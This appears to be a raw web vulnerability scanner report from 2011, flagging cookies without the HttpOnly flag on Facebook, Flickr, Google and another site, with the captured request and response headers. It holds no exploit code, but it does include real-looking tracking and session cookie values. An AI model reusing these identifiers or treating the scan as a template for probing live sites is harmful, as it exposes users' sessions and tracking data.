HTTP/1.1 302 Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://www.facebook.com/ P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=AGZLa; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:12 GMT Content-Length: 0
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=oJmQq; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /beirutcityguide HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=oJmQq; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:02 GMT Content-Length: 156507
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=isGBp; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /home.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 302 Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://www.facebook.com/login.php P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=isGBp; path=/; domain=.facebook.com Set-Cookie: next=http%3A%2F%2Fwww.facebook.com%2Fhome.php; path=/; domain=.facebook.com; httponly Set-Cookie: next_path=%2Fhome.php; path=/; domain=.facebook.com; httponly Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:14:57 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /miofeghali HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=eDdkX; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fmiofeghali; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fmiofeghali; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:26 GMT Content-Length: 15117
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=NxhiV; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pages/Traverse-City-MI/CloudAccessnet/116931806748 HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dla2day.com%26placement%3Dlike_box%26extra_1%3Dhttp%253A%252F%252Fwww.la2day.com%252F%26extra_2%3DUS;
Response
HTTP/1.1 301 Moved Permanently Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://www.facebook.com/pages/CloudAccessnet/116931806748 P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=NxhiV; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Mon, 24 Jan 2011 16:05:06 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /paty.kfoury HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=qOxUt; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fpaty.kfoury; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fpaty.kfoury; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:20 GMT Content-Length: 15074
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /profile.php?id=836605415 HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=1Nf86; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fprofile.php%3Fid%3D836605415; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fprofile.php%3Fid%3D836605415; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:20 GMT Content-Length: 15196
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sharer.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=2yleE; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fsharer.php; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fsharer.php; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:01:04 GMT Content-Length: 10902
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/aubalumni/4688630122/x22 HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Mon, 24 Jan 2011 16:16:26 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: BX=cvj761d6jr9eq&b=3&s=q9; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.flickr.com Set-Cookie: localization=en-us%3Bus%3Bus; expires=Thu, 23-Jan-2014 16:16:26 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Sun, 24-Jan-2010 16:16:25 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Sun, 24-Jan-2010 16:16:25 GMT; path=/; domain=flickr.com X-Served-By: www121.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4795390303/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:12:12 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:12:12 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:12:11 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:12:11 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:12:12 GMT; path=/; domain=.flickr.com X-Served-By: www53.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 89342
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4795390991/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:12:10 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:12:10 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:12:09 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:12:09 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:12:11 GMT; path=/; domain=.flickr.com X-Served-By: www57.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 88056
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4795392149/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:11:48 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:11:48 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:11:47 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:11:47 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:11:48 GMT; path=/; domain=.flickr.com X-Served-By: www88.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 86022
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4795392811/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:11:45 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:11:45 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:11:44 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:11:44 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:11:45 GMT; path=/; domain=.flickr.com X-Served-By: www30.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 83646
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4796022554/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:12:29 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:12:29 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:12:28 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:12:28 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:12:29 GMT; path=/; domain=.flickr.com X-Served-By: www29.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 88059
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4796024690/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:11:55 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:11:55 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:11:54 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:11:54 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:11:55 GMT; path=/; domain=.flickr.com X-Served-By: www65.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 88059
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /calendar/embed HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /calendar/event?eid=NjY3N2VndjJhM24xbDE0NDQ5cDJ0ZXNwc29fMjAwOTA1MTlUMTgwMDAwWiBqdWdjYWxlbmRhckBvcGVuc291cmNlbWF0dGVycy5vcmc HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /finance?hl=en&tab=we HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /setprefs?sig=0_wmOEOqCEugI_DX4CRMM9-gOiSPQ=&suggon=2&prev=http://www.google.com/ HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.google.com/">here</A> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /url?sa=p&pref=ig&pval=3&q=http://www.google.com/ig%3Fhl%3Den%26source%3Diglk&usg=AFQjCNFA18XPfgb7dKnXfKz7x7g1GDH1tg HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.google.com/ig?hl=en&a ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
GALX=adTYhQttweA;Path=/accounts;Secure
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /accounts/Login HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
The following cookie was issued by the application and does not have the HttpOnly flag set:
GALX=UyGwfUaxON0;Path=/accounts;Secure
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /accounts/ServiceLogin HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /video-games/index.php/news/351-video-games-qcreate-mental-health-problemsq HTTP/1.1 Host: www.goozernation.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:05:19 GMT Server: Apache X-Powered-By: PHP/5.2.16 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 75a2a69c945fc9bbaf3897f5bc47b14f=dp2ff9jkt3mlta9rvo5qn02g00; path=/ Last-Modified: Tue, 25 Jan 2011 05:05:19 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 52707
